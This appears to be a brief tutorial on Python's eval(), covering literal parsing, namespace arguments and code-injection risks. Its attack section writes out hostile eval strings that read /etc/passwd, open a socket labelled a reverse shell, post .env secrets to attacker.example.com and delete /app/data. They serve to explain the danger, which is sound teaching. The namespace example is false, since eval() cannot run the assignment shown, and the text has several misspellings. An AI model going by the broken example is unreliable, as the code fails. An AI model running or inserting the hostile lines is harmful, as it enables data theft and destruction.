Python's built-in eval() executes string content as Python expressions, returning the computed result. This enables runtime code generation but introduces severe security vulnerabilities when processing untrusted input.
Data Structure Deserialization
The function effortlessly reconstructs colections from string literals:
# Nested list parsing
matrix_data = "[[7, 8, 9], [4, 5, 6], [1, 2, 3]]"
matrix = eval(matrix_data)
print(type(matrix)) # <class 'list'>
print(matrix[0]) # [7, 8, 9]
# Dictionary string conversion
config_data = "{'debug': False, 'workers': 4, 'port': 9000}"
config = eval(config_data)
print(type(config)) # <class 'dict'>
print(config['workers']) # 4
# Mixed-type tuples
record_data = "('device_01', [192, 168, 1, 100], {'status': 'active'})"
record = eval(record_data)
print(type(record)) # <class 'tuple'>
Namsepace Maangement
Control variable resolution with optional namespace parameters:
eval(expression, globals=None, locals=None)
Providing a global context:
expression = "discount_price = base * (1 - discount)"
global_scope = {"base": 199.99, "discount": 0.15}
eval(expression, global_scope) # discount_price becomes 169.99
Local variable shadowing:
global_scope = {"version": "1.0", "build": 100}
local_scope = {"build": 150} # Takes precedence
result = eval("f'v{version}.{build}'", global_scope, local_scope)
# 'v1.0.150'
Attack Vectors and Code Injection
Malicious actors exploit eval() to execute arbitrary operations:
# Sensitive file access
eval("open('/etc/passwd', 'r').readlines()")
# Reverse shell creation
eval("__import__('socket').socket().connect(('10.0.0.42', 4444))")
# Credential exfiltration
eval("__import__('requests').post('https://attacker.example.com', json={'key': open('.env').read()})")
# System sabotage
eval("__import__('subprocess').run(['rm', '-rf', '/app/data'], capture_output=True)")
Each example demonstrates how attacker-controlled strings gain unrestricted interpreter access, executing with the application's full privileges. The function cannot differentiate between intended calculations and malicious commands.